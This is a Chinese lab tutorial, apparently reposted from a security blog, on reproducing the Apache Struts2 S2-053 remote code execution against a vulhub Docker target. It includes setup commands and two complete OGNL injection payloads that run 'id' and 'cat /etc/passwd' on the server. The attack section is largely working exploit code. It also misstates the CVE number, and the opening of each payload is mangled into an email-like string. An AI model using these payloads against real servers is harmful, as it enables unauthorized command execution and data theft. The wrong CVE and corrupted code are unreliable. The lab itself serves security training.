文章总结: 本文档详述Struts2S2-053远程代码执行漏洞的环境搭建、原理与复现过程。该漏洞因Freemarker与OGNL双重解析导致RCE,提供了Docker环境启动命令及完整Payload,演示了执行系统命令与读取敏感文件的操作,旨在帮助读者掌握该漏洞的攻击方法及防御措施。 综合评分: 80 文章分类: 渗透测试,漏洞POC,漏洞分析,WEB安全
网安实验干货每日分享S2-053远程代码执行漏洞-0129
原创
建哥聊安全 建哥聊安全
建哥聊安全
2026年1月29日 09:40 湖南
S2-053远程代码执行漏洞
实验目的
通过本实验,掌握S2-053远程代码执行漏洞的攻击方法和防御措施。
实验环境
·操作机:Win10 用户名:Administrator 密码:Sangfor!7890
·靶机:Ubuntu + docker 用户名:root 密码:Sangfor!7890
·实验地址:http://靶机ip:8080/hello.action
实验原理
继S2-052之后,Apache Struts 2再次被曝存在远程代码执行漏洞,漏洞编号S2-053,CVE编号CVE-2017-1000112。 影响版本:Struts 2.0.1、Struts 2.3.33、Struts 2.5 – Struts 2.5.10 当开发者在Freemarker标签中使用如下代码时,Freemarker会将值当作表达式进行执行(Struts2在使用Freemarker模板引擎的时候,同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析,但由于被Freemarker解析一次后变成一个表达式,被OGNL解析第二次),最后导致远程代码执行。
实验步骤
第一步启动目标靶机的环境
1、登陆”S2-053″靶机,执行如下命令,进入目标环境所在目录
cd /vulhub-master
cd struts2
cd s2-053
2、执行以下命令,运行目标靶机的环境
docker-compose up -d
3、登录“Attack”操作机,打开浏览器,访问http://靶机ip:8080,看到页面正显示,说明靶机环境启动成功
第二步漏洞复现
4、通过“Attack”操作机的浏览器访问http://靶机ip:8080/hello.action,可以看到一个提交页面
5、在此页面下输入payload即可执行命令
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’id’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”,即:
%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’cat /etc/passwd’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
注意:上述Payload末尾的换行不能少(也就是说payload后面必须跟一个换行)
实验总结
通过本实验,成功实现了命令执行,通过该漏洞可以执行系统命令,加深对Struts2框架的利用和防御。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:建哥聊安全 建哥聊安全 建哥聊安全《网安实验干货每日分享S2-053远程代码执行漏洞-0129》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论